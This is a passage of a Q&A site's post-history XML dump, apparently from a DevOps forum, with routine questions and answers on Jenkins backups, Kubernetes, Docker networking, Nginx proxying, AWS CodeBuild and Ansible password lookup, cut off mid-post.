  <row Id="15516" PostHistoryTypeId="5" PostId="4915" RevisionGUID="61965530-9527-4940-9ab3-06500350a47e" CreationDate="2018-09-06T10:28:05.860" UserId="3" Comment="Expands the answer" Text="I'm using scripts from [`sue445/jenkins-backup-script`][1].&#xD;&#xA;&#xD;&#xA;It archives Jenkins settings and plugins such as:&#xD;&#xA;&#xD;&#xA;- `$JENKINS_HOME/*.xml`&#xD;&#xA;- `$JENKINS_HOME/jobs/*/*.xml`&#xD;&#xA;- `$JENKINS_HOME/nodes/*`&#xD;&#xA;- `$JENKINS_HOME/plugins/*.jpi`&#xD;&#xA;- `$JENKINS_HOME/secrets/*`&#xD;&#xA;- `$JENKINS_HOME/users/*`&#xD;&#xA;&#xD;&#xA;### Usage&#xD;&#xA;&#xD;&#xA;    ./jenkins-backup.sh /path/to/jenkins_home archive.tar.gz&#xD;&#xA;    &#xD;&#xA;    # add timestamp suffix&#xD;&#xA;    ./jenkins-backup.sh /path/to/jenkins_home backup_`date +&quot;%Y%m%d%H%M%S&quot;`.tar.gz&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/sue445/jenkins-backup-script" ContentLicense="CC BY-SA 4.0" />
  <row Id="15526" PostHistoryTypeId="2" PostId="4924" RevisionGUID="811a750a-957b-44a3-86a4-1cee603738cc" CreationDate="2018-09-06T15:00:31.973" UserId="9632" Text="Here is how we handle the pipeline process:&#xA;&#xA;Push your code to github ignoring the **build** folder.&#xA;&#xA;The Jenkins will then pull the code from github and run tests against it. After all the tests have passed, it would build the application for production, creating the **build** folder. The **build** folder would then get deployed." ContentLicense="CC BY-SA 4.0" />
  <row Id="15527" PostHistoryTypeId="2" PostId="4925" RevisionGUID="a596a1e2-0ec0-4905-b022-5bac0fc37545" CreationDate="2018-09-06T16:41:14.987" UserId="9308" Text="What are the advantages of each option? What are the disadvantages? Is there a best practice in this? I fail to see any critical difference between them.&#xD;&#xA;&#xD;&#xA;In my current place of employment we use nodes exclusively, however they are all in our internal network.&#xD;&#xA;I have a task that needs to be delegated to an external server. It does not need access to our Git. Essentially, it will upload data to a file server, and does not need to access our servers/network/data/etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="15528" PostHistoryTypeId="1" PostId="4925" RevisionGUID="a596a1e2-0ec0-4905-b022-5bac0fc37545" CreationDate="2018-09-06T16:41:14.987" UserId="9308" Text="In Jenkins when to use SSH site and when to use a node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15529" PostHistoryTypeId="3" PostId="4925" RevisionGUID="a596a1e2-0ec0-4905-b022-5bac0fc37545" CreationDate="2018-09-06T16:41:14.987" UserId="9308" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15530" PostHistoryTypeId="2" PostId="4926" RevisionGUID="26f95fca-7290-487f-9116-edc6a5f5c95e" CreationDate="2018-09-06T21:24:15.370" UserId="6686" Text="Take a look at `OpenShift` container platform (https://www.openshift.com/products/container-platform/). They seem to provide on-premise options. You might want to start with `OpenShift Origin` - the community edition (https://github.com/openshift/origin) to test for free if it fits your plan. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15531" PostHistoryTypeId="6" PostId="4919" RevisionGUID="c13634fa-731c-44af-971e-8b626d4d4c5a" CreationDate="2018-09-07T04:07:28.670" UserId="739" Comment="add cloud and orchestration tags" Text="&lt;kubernetes&gt;&lt;cloud&gt;&lt;orchestration&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15532" PostHistoryTypeId="24" PostId="4919" RevisionGUID="c13634fa-731c-44af-971e-8b626d4d4c5a" CreationDate="2018-09-07T04:07:28.670" Comment="Proposed by 739 approved by -1 edit id of 780" ContentLicense="CC BY-SA 4.0" />
  <row Id="15533" PostHistoryTypeId="5" PostId="4919" RevisionGUID="f9635ea6-765a-4160-8897-e364a05f5b94" CreationDate="2018-09-07T04:07:28.670" UserId="40" Comment="added 5 characters in body" Text="Where do you start in case you need something like a managed Kubernetes solution to setup a multi-tenant orchestration solution on-premises?&#xD;&#xA;&#xD;&#xA;- Any entity with its own container infrastructure has an access to the centrally managed orchestration service&#xD;&#xA;&#xD;&#xA;- Entities **do not see** each other's containers&#xD;&#xA;&#xD;&#xA;Note: if &quot;managed Kubernetes&quot; is kind of reserved term by AWS, maybe it's better to say &quot;orchestration as a service&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15534" PostHistoryTypeId="50" PostId="2481" RevisionGUID="ab797cbf-016f-412f-b957-4515bee1bc92" CreationDate="2018-09-07T05:00:52.507" UserId="-1" />
  <row Id="15535" PostHistoryTypeId="4" PostId="4919" RevisionGUID="c14dd9f3-f38c-4d3b-ac74-f403c8aed7ef" CreationDate="2018-09-07T06:07:16.413" UserId="707" Comment="edited title" Text="How to install a private managed Kubernetes on-premise?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15536" PostHistoryTypeId="2" PostId="4927" RevisionGUID="8693b885-2805-4c40-8419-36bc9117bbe1" CreationDate="2018-09-07T07:51:31.003" UserId="800" Text="My understanding is that you want to run multiple services in your container.&#xD;&#xA;&#xD;&#xA;The best practice to run several jobs is to create several containers for your different processes and manage them through docker compose this allows you to define in one file all the containers needed for your app and launch in one single command.&#xD;&#xA;  &#xD;&#xA;Otherwise, [docker docs][1] provide two simple solutions for your situation.&#xD;&#xA;&#xD;&#xA; - Use `ENTRYPOINT` to run a single script which manage your process, [see example here][1]&#xD;&#xA;   &#xD;&#xA; - Use a process manager like `supervisord`, [Detailed article about using docker with Supervisor][2]&#xD;&#xA;&#xD;&#xA;One thing to remember when doing Docker: one container, one service.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/config/containers/multi-service_container/&#xD;&#xA;  [2]: https://blog.trifork.com/2014/03/11/using-supervisor-with-docker-to-manage-processes-supporting-image-inheritance/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15537" PostHistoryTypeId="2" PostId="4928" RevisionGUID="eb526480-5238-43bd-8f74-950c1bee0206" CreationDate="2018-09-07T07:58:57.183" UserId="9060" Text="I don't think &quot;Managed Kubernetes&quot; is reserved for [AWS (EKS)][1], there is [Microsoft's Azure Kubernetes Service (AKS)][2] and [Google Kubernetes Engine (GKE)][3] also, besides [Red Hat's OpenShift][4]. Those work as SaaS (or KaaS if you will).&#xD;&#xA;&#xD;&#xA;OpenShift has an on-premise version you can try called [MiniShift in the OpenShift.org][5] site, while there are other alternatives as Apache Mesos based [Mesosphere DC/OS][6] or [Rancher with RancherOS containers][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/eks/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-us/services/kubernetes-service/&#xD;&#xA;  [3]: https://cloud.google.com/kubernetes-engine/&#xD;&#xA;  [4]: http://www.openshift.com&#xD;&#xA;  [5]: http://www.openshift.org&#xD;&#xA;  [6]: https://dcos.io/install/&#xD;&#xA;  [7]: https://rancher.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15538" PostHistoryTypeId="2" PostId="4929" RevisionGUID="0dd44741-c494-4bbe-b978-92cb9620270c" CreationDate="2018-09-07T09:59:02.330" UserId="3498" Text="As of Sep 4 2018 Amazon added support for multiple input sources:&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2018/08/aws-codebuild-adds-ability-to-create-build-projects-with-multiple-input-sources-and-output-artifacts/&#xD;&#xA;&#xD;&#xA;From [documentation][1]:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;name&quot;: &quot;sample-project&quot;,&#xD;&#xA;    &quot;source&quot;: {&#xD;&#xA;      &quot;type&quot;: &quot;S3&quot;,&#xD;&#xA;      &quot;location&quot;: &quot;bucket/sample.zip&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;secondarySources&quot;: [&#xD;&#xA;      {&#xD;&#xA;        &quot;type&quot;: &quot;CODECOMMIT&quot;,&#xD;&#xA;        &quot;location&quot;: &quot;https://git-codecommit.us-west-2.amazonaws.com/v1/repos/repo&quot;&#xD;&#xA;        &quot;sourceIdentifier&quot;: &quot;source1&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;type&quot;: &quot;GITHUB&quot;,&#xD;&#xA;        &quot;location&quot;: &quot;https://github.com/awslabs/aws-codebuild-jenkins-plugin&quot;&#xD;&#xA;        &quot;sourceIdentifier&quot;: &quot;source2&quot;&#xD;&#xA;      }&#xD;&#xA;    ],&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;&#xD;&#xA;    phases:&#xD;&#xA;      build:&#xD;&#xA;        commands:&#xD;&#xA;          - cd $CODEBUILD_SRC_DIR_source1&#xD;&#xA;          - touch file1&#xD;&#xA;          - cd $CODEBUILD_SRC_DIR_source2&#xD;&#xA;          - touch file2&#xD;&#xA;&#xD;&#xA;    artifacts:&#xD;&#xA;      secondary-artifacts:&#xD;&#xA;        artifact1:&#xD;&#xA;          base-directory: $CODEBUILD_SRC_DIR_source1&#xD;&#xA;          files:&#xD;&#xA;            - file1&#xD;&#xA;        artifact2:&#xD;&#xA;          base-directory: $CODEBUILD_SRC_DIR_source2&#xD;&#xA;          files:&#xD;&#xA;            - file2&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/codebuild/latest/userguide/sample-multi-in-out.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15539" PostHistoryTypeId="5" PostId="4925" RevisionGUID="8579287c-dc18-4dce-8c0c-e6d685ab08dc" CreationDate="2018-09-07T10:42:30.670" UserId="40" Comment="added 6 characters in body" Text="What are the advantages of each option? What are the disadvantages? Is there a best practice in this? I fail to see any critical differences between them.&#xD;&#xA;&#xD;&#xA;In my current place of employment we use nodes exclusively, however they are all in our internal network.&#xD;&#xA;&#xD;&#xA;I have a task that needs to be delegated to an external server. It does not need access to our GIT. Essentially, it will upload data to a file server, and does not need to access our servers, network, data, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="15540" PostHistoryTypeId="50" PostId="3463" RevisionGUID="40e64d22-1c5c-473b-9b32-d4af993ae5b4" CreationDate="2018-09-07T11:00:51.660" UserId="-1" />
  <row Id="15541" PostHistoryTypeId="50" PostId="4720" RevisionGUID="8bc67456-b20c-4e72-8e35-5af48d6706a5" CreationDate="2018-09-07T16:00:59.267" UserId="-1" />
  <row Id="15542" PostHistoryTypeId="5" PostId="3274" RevisionGUID="5b73f8fb-8c98-451e-a4a2-9d2328d98090" CreationDate="2018-09-07T18:35:21.580" UserId="4790" Comment="added 1 character in body" Text="Thanks to this [question and answer here][1], I was able realize that I had two issues going on:&#xD;&#xA;&#xD;&#xA; 1. the containers have different default Docker networks because I am using two different docker-compose.yml files, I had envisioned my Ngnix proxy working independently from any of my API containers entirely, including the docker-compose, more on that issue below&#xD;&#xA; 2. the second issue is simply when I tried to proxy to 127.0.0.1:5023 that is localhost inside the Ngnix container, not the network outside of the Nginx proxy container&#xD;&#xA;&#xD;&#xA;So the different default networks being created by docker-compose for my Nginx proxy docker container and my api docker container are because I am using two different docker-compose.yml files. This is because I have Jenkins builds for many API microservices so the have independent docker-compose files and I needed a Nginx proxy to forward requests on port 80 to each microservice.&#xD;&#xA;&#xD;&#xA;To test this out, created a docker-compose.yml for both containers, the API and the Nginx proxy:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      reverseproxy:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/nginxproxy/docker/Dockerfile&#xD;&#xA;        image: tsl.devops.reverseproxy.image&#xD;&#xA;        container_name: tsl.devops.reverseproxy.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.example.image&#xD;&#xA;        container_name: tsl.api.example.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;5023:5023&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5023&#xD;&#xA;&#xD;&#xA;Yes there was still an issue, the proxy pass to http//:127.0.0.1:5023, that forward remains in the Nginx Docker container and never finds the API running on the Docker host, I simply needed to use the docker-compose.yml service name to get to it:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    upstream accountstaging {&#xD;&#xA;        server apistaging:5023;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/46264954/connection-refused-while-connecting-to-upstream-when-using-nginx-as-reverse-prox&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15544" PostHistoryTypeId="2" PostId="4930" RevisionGUID="7dce7393-ce75-4360-9deb-f638f33fc974" CreationDate="2018-09-07T21:01:05.640" UserId="210" Text="I strongly doubt that jenkins-x is the successor of Jenkins. To me it looks like a tool that is able to create a ci/cd pipeline for new apps." ContentLicense="CC BY-SA 4.0" />
  <row Id="15545" PostHistoryTypeId="1" PostId="4930" RevisionGUID="7dce7393-ce75-4360-9deb-f638f33fc974" CreationDate="2018-09-07T21:01:05.640" UserId="210" Text="Is jenkins-x the successor of jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15546" PostHistoryTypeId="3" PostId="4930" RevisionGUID="7dce7393-ce75-4360-9deb-f638f33fc974" CreationDate="2018-09-07T21:01:05.640" UserId="210" Text="&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15547" PostHistoryTypeId="2" PostId="4931" RevisionGUID="c9f6a0d6-6472-49cd-bc60-fdd3c35642dd" CreationDate="2018-09-07T21:11:00.850" UserId="9655" Text="Jenkins X is a CI / CD platform for Kubernetes.&#xD;&#xA;This project is a sub-project of Jenkins.&#xD;&#xA;see below&#xD;&#xA;[here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins-x.io/about/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15551" PostHistoryTypeId="2" PostId="4932" RevisionGUID="2fdc866c-49c6-404b-b7aa-0ab117e262eb" CreationDate="2018-09-08T01:19:12.257" UserId="9661" Text="Which password database system work with ansible to manage password of network devices and servers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15552" PostHistoryTypeId="1" PostId="4932" RevisionGUID="2fdc866c-49c6-404b-b7aa-0ab117e262eb" CreationDate="2018-09-08T01:19:12.257" UserId="9661" Text="Which password database system work with ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15553" PostHistoryTypeId="3" PostId="4932" RevisionGUID="2fdc866c-49c6-404b-b7aa-0ab117e262eb" CreationDate="2018-09-08T01:19:12.257" UserId="9661" Text="&lt;ansible&gt;&lt;passwords&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15554" PostHistoryTypeId="2" PostId="4933" RevisionGUID="763009a5-6c3f-4b2d-b54c-f534a6fd5c58" CreationDate="2018-09-08T05:08:20.823" UserId="9663" Text="I want to assign static ip to my docker container in docker for Window for linux container.&#xD;&#xA;I have achieved same in linux container using macvlan but macvlan doesn't support for docker for Windows.&#xD;&#xA;Does any one have work around how can i assign static ip to my linux container so it directly expose to outside world without port mapping.&#xD;&#xA;I have also tried to use transperent driver in window container with LCOW enabled but as my application need privileged and bind mount to cgroup window container can not be used.&#xD;&#xA;Note:I have specific scenario to use static ip as port mapping is not working for my application." ContentLicense="CC BY-SA 4.0" />
  <row Id="15555" PostHistoryTypeId="1" PostId="4933" RevisionGUID="763009a5-6c3f-4b2d-b54c-f534a6fd5c58" CreationDate="2018-09-08T05:08:20.823" UserId="9663" Text="How to assign static ip in docker for Windows for linux container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15556" PostHistoryTypeId="3" PostId="4933" RevisionGUID="763009a5-6c3f-4b2d-b54c-f534a6fd5c58" CreationDate="2018-09-08T05:08:20.823" UserId="9663" Text="&lt;docker&gt;&lt;containers&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15557" PostHistoryTypeId="50" PostId="4723" RevisionGUID="b91bd9d3-f639-43bf-804e-f1ce6746ca93" CreationDate="2018-09-08T08:01:40.527" UserId="-1" />
  <row Id="15558" PostHistoryTypeId="2" PostId="4934" RevisionGUID="e6f1c6a5-f984-4a64-9835-bfc752d916ad" CreationDate="2018-09-08T14:32:38.633" UserId="9666" Text="If you cordon and drain the nodepool before deleting it, then you can avoid downtime. I use the following script (shamelessly taken from the lazyweb elsewhere and adapted to my needs):&#xD;&#xA;&#xD;&#xA;    oldpool=pool-1&#xD;&#xA;    oldnodes=$(k get no --selector='cloud.google.com/gke-nodepool='$oldpool -o json | jq .items[].metadata.name -r | xargs)&#xD;&#xA;&#xD;&#xA;    kubectl cordon --selector='cloud.google.com/gke-nodepool='$oldpool&#xD;&#xA;&#xD;&#xA;    for n in $oldnodes; do&#xD;&#xA;      echo &quot;draining $n&quot;&#xD;&#xA;      kubectl drain --delete-local-data --ignore-daemonsets $n&#xD;&#xA;      echo &quot;----------------------------&quot;&#xD;&#xA;    done;&#xD;&#xA;   " ContentLicense="CC BY-SA 4.0" />
  <row Id="15560" PostHistoryTypeId="50" PostId="4725" RevisionGUID="cf0675f2-7117-4ef4-b0ab-47fa1190561c" CreationDate="2018-09-09T01:00:48.063" UserId="-1" />
  <row Id="15561" PostHistoryTypeId="2" PostId="4935" RevisionGUID="e22b4a81-6891-4f5b-9b9d-a32dabe9a945" CreationDate="2018-09-09T10:42:12.853" UserId="7715" Text="Any system would do. You might need to write a wrapper. For example:&#xD;&#xA;&#xD;&#xA;    &gt; cat get-passwd-01.yml&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      gather_facts: no&#xD;&#xA;      tasks:&#xD;&#xA;        - command: ~/bin/get-passwd user9&#xD;&#xA;          register: password&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;passwd:{{ password.stdout }}&quot;&#xD;&#xA;&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;    &gt; ansible-playbook get-passwd-01.yml | grep msg&#xD;&#xA;        &quot;msg&quot;: &quot;passwd: T4gpJtZ69R5cZD9zQh&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15562" PostHistoryTypeId="2" PostId="4936" RevisionGUID="18e1139e-0de1-4ada-afc6-a3f742a4c7ea" CreationDate="2018-09-09T14:08:13.793" UserId="9655" Text="You need create user define network&#xD;&#xA;&#xD;&#xA;    docker network create -d transparent --subnet=10.1.1.0/24 --gateway=10.1.1.1 TransparentNet3&#xD;&#xA;&#xD;&#xA;Then you need run container with key --ip&#xD;&#xA;&#xD;&#xA;    docker run -it --name nano03 --network=TransparentNet3 --ip 10.1.1.1 someimage:sometag&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15563" PostHistoryTypeId="50" PostId="4736" RevisionGUID="6e5dabba-c3ed-47fd-a6a7-e12794c66bf5" CreationDate="2018-09-09T20:00:15.383" UserId="-1" />
  <row Id="15565" PostHistoryTypeId="50" PostId="3602" RevisionGUID="708f167f-4d56-4bea-919a-7b7ba7bbdc97" CreationDate="2018-09-09T21:00:40.933" UserId="-1" />
  <row Id="15566" PostHistoryTypeId="2" PostId="4937" RevisionGUID="23ab41a0-c8ed-48a5-b493-02da458120f9" CreationDate="2018-09-09T21:01:02.667" UserId="8544" Text="The answers above assume managing source code for z/OS has to be different from any other platform.  The answer 10 years ago might have been the above.  But z/OS has evolved along with the z hardware and it is no longer separate.  You can use a modern source code manager such as Git for all your source code including any COBOL or PL/I or assembler you might have.  Git was updated to handle the ASCII to EDBCIC translation if you get the port from Rocket Software.  It's still free and open source, they just did the compile to run on the platform.  Having your z/OS source code in the same SCM also allows you to have your test cases and other artifacts along side them.  You might be surprised at the number of open source tools you can use with z/OS.  &#xD;&#xA;&#xD;&#xA;If you have a DevOps pipeline it probably just works with z/OS as well, as an example Jenkins runs on the platform.  With a current PTF to z/OS you can even store you build artifacts in Artifactory or Nexus as you do any other platform.   The process and practices that are used on other platforms also work for z/OS so there is no reason it has to separate or different.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="15567" PostHistoryTypeId="2" PostId="4938" RevisionGUID="d59c864f-712e-4bd3-8f61-9f14af5ba54b" CreationDate="2018-09-09T21:09:16.270" UserId="8544" Text="Jenkins slave runs in unix system services of z/OS and can run any script or function from there.  We use the Git plugin to pull the source code onto z/OS then you have different choices of how to work with it.  You can use IBM Dependency Based Build which is Groovy ported to z/OS plus some extensions to specifically work with native z/OS functions such as copy to PDS (or PDSE) or copy back to zFS, as well as the ability to run MVS, TSO, ISPF commands and submit JCL.  &#xD;&#xA;&#xD;&#xA;Also with the new Zowe announcement Zowe.org for a new open source project on z/OS you also have access to a number of REST based APIs work with files and perform other tasks on z/OS such as calling zOSMF.   &#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="15568" PostHistoryTypeId="50" PostId="3542" RevisionGUID="dcc560ba-7d3d-4bd7-b686-d612721bfaaf" CreationDate="2018-09-09T22:00:08.243" UserId="-1" />
  <row Id="15569" PostHistoryTypeId="50" PostId="3856" RevisionGUID="fb8b906d-3062-4f32-959f-ab72d47f5f2d" CreationDate="2018-09-10T07:00:48.777" UserId="-1" />
  <row Id="15570" PostHistoryTypeId="50" PostId="4499" RevisionGUID="5a9fc5da-6f58-4731-a387-7cc98180114a" CreationDate="2018-09-10T08:00:57.273" UserId="-1" />
  <row Id="15571" PostHistoryTypeId="2" PostId="4939" RevisionGUID="b875e7df-e243-421c-afbe-fcefde7be44a" CreationDate="2018-09-10T16:39:53.830" UserId="736" Text="I have a job set up to build when a change is pushed to Bitbucket. The first time the job runs, it'll get kicked off by a new push. The log will then state that it's seen X number of branches in the repo, and schedule further runs of the job to build on all the newly discovered branches, no matter how old they are. This means a new set of unit tests might have to run on 500 branches before it's caught up, even if those branches are very old and we know they'll fail before they even start.&#xD;&#xA;&#xD;&#xA;Is there any way to prevent this &quot;lookback&quot; behavior? I don't want all the extra builds scheduled, I'd like the job to just run for new pushes going forward, ignoring old branches until a push is made to them.&#xD;&#xA;&#xD;&#xA;**Sidenote**: Yes I know we have too many old branches; not my call, nothing I can do about it. Also I know I can turn off Bitbucket notifying so the job doesn't report back, but it's still ultimately a waste of resources." ContentLicense="CC BY-SA 4.0" />
  <row Id="15572" PostHistoryTypeId="1" PostId="4939" RevisionGUID="b875e7df-e243-421c-afbe-fcefde7be44a" CreationDate="2018-09-10T16:39:53.830" UserId="736" Text="Prevent new jenkins job scheduling builds for previous branches" ContentLicense="CC BY-SA 4.0" />
  <row Id="15573" PostHistoryTypeId="3" PostId="4939" RevisionGUID="b875e7df-e243-421c-afbe-fcefde7be44a" CreationDate="2018-09-10T16:39:53.830" UserId="736" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15574" PostHistoryTypeId="2" PostId="4940" RevisionGUID="49877d23-efb0-4f21-b6aa-2d5e2515767f" CreationDate="2018-09-10T17:12:24.410" UserId="8332" Text="Hypothetical question.&#xD;&#xA;&#xD;&#xA;Say we have a Java application running in a Kubernetes pod (single docker container) that has 'public' endpoints and 'internal' endpoints. &#xD;&#xA;&#xD;&#xA;The `/public` endpoints should be accessible from public internet and exposed via the Ingress.&#xD;&#xA;&#xD;&#xA;The `/internal` endpoints should only be accessible to other pods in the Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;Is there any way we can limit access to these `/internal` endpoints in 'vanilla' Kubernetes? One way I guess would to be declare the public endpoints in the ingress but them seems messy. &#xD;&#xA;&#xD;&#xA;I also believe tools like Istio allow policy based access?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15575" PostHistoryTypeId="1" PostId="4940" RevisionGUID="49877d23-efb0-4f21-b6aa-2d5e2515767f" CreationDate="2018-09-10T17:12:24.410" UserId="8332" Text="Kubernetes - Internal only API Endpoints" ContentLicense="CC BY-SA 4.0" />
  <row Id="15576" PostHistoryTypeId="3" PostId="4940" RevisionGUID="49877d23-efb0-4f21-b6aa-2d5e2515767f" CreationDate="2018-09-10T17:12:24.410" UserId="8332" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15577" PostHistoryTypeId="50" PostId="2094" RevisionGUID="c5576e26-e4e1-4c08-bd93-0f3711e53386" CreationDate="2018-09-10T19:02:02.830" UserId="-1" />
  <row Id="15579" PostHistoryTypeId="50" PostId="1654" RevisionGUID="9869beee-567b-4c90-a74d-dda531941ebc" CreationDate="2018-09-11T05:00:02.280" UserId="-1" />
  <row Id="15580" PostHistoryTypeId="2" PostId="4941" RevisionGUID="e7d56bc1-a061-4c83-ae81-d21906d629de" CreationDate="2018-09-11T05:00:53.320" UserId="9560" Text="I would like to prepare a Docker image for a nodejs project. The developers use package.json to list their node module dependencies. I would like to prepare the Docker image (as base on the Dockerfile), with most of the node_modules already installed &quot;globally&quot; on the image. &#xD;&#xA;&#xD;&#xA;Is there a best practice to prepare nodejs images?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15581" PostHistoryTypeId="1" PostId="4941" RevisionGUID="e7d56bc1-a061-4c83-ae81-d21906d629de" CreationDate="2018-09-11T05:00:53.320" UserId="9560" Text="Preinstall packages for a nodejs Docker according to package.json" ContentLicense="CC BY-SA 4.0" />
  <row Id="15582" PostHistoryTypeId="3" PostId="4941" RevisionGUID="e7d56bc1-a061-4c83-ae81-d21906d629de" CreationDate="2018-09-11T05:00:53.320" UserId="9560" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15583" PostHistoryTypeId="2" PostId="4942" RevisionGUID="e28109d3-5fc0-4616-8c60-dbb09134f008" CreationDate="2018-09-11T05:36:12.593" UserId="707" Text="Consider the following situation:&#xD;&#xA;&#xD;&#xA;    Alice -----              { Firewall }  Bob&#xD;&#xA;    |                                       |&#xD;&#xA;    Artifactory / Ivy repos  -  ---   --- Nexus / Maven Repos&#xD;&#xA;&#xD;&#xA;That is, Alice uses Ant and Ivy to publish her artefacts in an Artifactory, while Bob sits behind a firewall and builds Maven artefacts storing them in Maven repos in Nexus.&#xD;&#xA;&#xD;&#xA;How can Alice provide her artefacts to Bob? (while both do not have to made large changes to their setup)&#xD;&#xA;&#xD;&#xA;So far, I have considered the following options:&#xD;&#xA;&#xD;&#xA;(1) Bob manages credentials to access Alice' artefacts in his build system and uses a Maven plugin for Ivy&#xD;&#xA;&#xD;&#xA;(2) Alice uses Ant/Maven task to generate POMs and offers an additional Maven repo, because Artifactory can support it&#xD;&#xA;&#xD;&#xA;(3) Bob configures Nexus to be a proxy for Alice' Ivy repo (which is AFAIK was [not possible][1] as of 2014).&#xD;&#xA;&#xD;&#xA;What would you do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/25910800/does-nexus-oss-support-proxying-of-ivy-repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="15584" PostHistoryTypeId="1" PostId="4942" RevisionGUID="e28109d3-5fc0-4616-8c60-dbb09134f008" CreationDate="2018-09-11T05:36:12.593" UserId="707" Text="How to use remote Ivy artefacts in Maven jobs with different binary repository managers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15585" PostHistoryTypeId="3" PostId="4942" RevisionGUID="e28109d3-5fc0-4616-8c60-dbb09134f008" CreationDate="2018-09-11T05:36:12.593" UserId="707" Text="&lt;continuous-integration&gt;&lt;maven&gt;&lt;artifactory&gt;&lt;ant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15586" PostHistoryTypeId="5" PostId="4942" RevisionGUID="b49b9520-4427-4d8f-8744-076ff6603c8a" CreationDate="2018-09-11T05:50:03.917" UserId="707" Comment="added 519 characters in body; edited tags" Text="Consider the following situation:&#xD;&#xA;&#xD;&#xA;    Alice -----              { Firewall }  Bob&#xD;&#xA;    |                                       |&#xD;&#xA;    Artifactory / Ivy repos  -  ---   --- Nexus / Maven Repos&#xD;&#xA;&#xD;&#xA;That is, Alice uses Ant and Ivy to publish her artefacts in an Artifactory, while Bob sits behind a firewall and builds Maven artefacts storing them in Maven repos in Nexus.&#xD;&#xA;&#xD;&#xA;How can Alice provide her artefacts to Bob? (while both do not have to made large changes to their setup)&#xD;&#xA;&#xD;&#xA;So far, I have considered the following options and decided to ask you before trying them out:&#xD;&#xA;&#xD;&#xA;(1) Bob manages credentials to access Alice' artefacts in his build system and uses a [Maven plugin for Ivy][1] (which means configuration work for all relevant projects)&#xD;&#xA;&#xD;&#xA;(2) Alice uses [an Ant/Maven *task*][2] to generate POMs for *publishing/deployment* step and offers an additional Maven repo, because Artifactory can support it different repo formats. This for Bob's most convenience though Alice needs to do configuration work of all relevant projects and there might be also other Bobs in future using other *binary repository 